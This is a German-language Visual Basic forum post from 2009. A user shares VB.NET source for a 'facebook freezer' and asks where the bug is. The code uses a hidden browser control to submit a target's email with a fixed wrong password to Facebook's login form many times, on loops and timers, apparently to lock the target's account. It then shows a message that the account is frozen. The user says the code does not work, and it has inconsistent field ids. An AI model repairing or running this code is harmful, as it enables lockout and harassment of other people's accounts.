Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
  		RegistrierenRegistrieren  LoginLogin

Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB.NET] Source Codes
Autor
Nachricht
Godzillateam
Newbie
Newbie

Anmeldedatum: 05.08.2009
Beiträge: 1
facebook freezer
Verfasst am: 08.08.2009, 01:05

ich versuchte ein facebook freezer zu programmieren doch er geht nicht!
Bitte um hilfe danke schon im Voraus
Code:

Public Class Form1

    Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
        WebBrowser1.Visible = False
        WebBrowser1.Navigate("https://login.facebook.com/login.php?login_attempt=1")
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
        Timer2.Start()

        Dim i As Integer
        For i = 0 To 21
            WebBrowser1.Document.GetElementById("mail").SetAttribute("value", (TextBox1.Text))
            WebBrowser1.Document.GetElementById("pass").SetAttribute("value", "12312332112123")
            WebBrowser1.Document.GetElementById("login").InvokeMember("click")
        Next i
    End Sub

    Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click
        ProgressBar1.Visible = False
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        ProgressBar1.Increment(1)
        If ProgressBar1.Value = ProgressBar1.Maximum Then

        End If
        Dim i As Integer
        For i = 0 To 21

        Next
        Try

            WebBrowser1.Document.GetElementById("email").SetAttribute("value", (TextBox1.Text))
            WebBrowser1.Document.GetElementById("pass").SetAttribute("value", "12312332112123")
            WebBrowser1.Document.GetElementById("login").InvokeMember("click")
        Catch ex As Exception
        End Try
    End Sub

    Private Sub ProgressBar2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar2.Click
        ProgressBar2.Increment(1)
        If ProgressBar2.Value = ProgressBar2.Maximum Then
            Timer1.Stop()
            Timer2.Stop()
            MsgBox("FaceBook account " & (TextBox1.Text) & " is frozen.")
            ProgressBar2.Value = ProgressBar2.Minimum
        End If
    End Sub
End Class

Wo ist der Fehler? Question
_________________
-----------------------------------------
Und wenn Ich nicht gestorben bin so programmier Ich noch heute
__________________________________
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB.NET] Source Codes

Tags: facebook freezer, facebook account, setattribute

  
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 868 09.06.2011, 12:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2431 06.03.2008, 20:19
Keine neuen Beiträge ListView speichern & laden 1242 05.08.2008, 12:32
Keine neuen Beiträge Registry & Co Fragen 1101 03.05.2007, 09:57
Keine neuen Beiträge Listbox speichern & laden 2047 22.03.2007, 20:25
 




[ Time: 0.1456s ][ Queries: 81 (0.0381s) ][ GZIP on - Debug on ]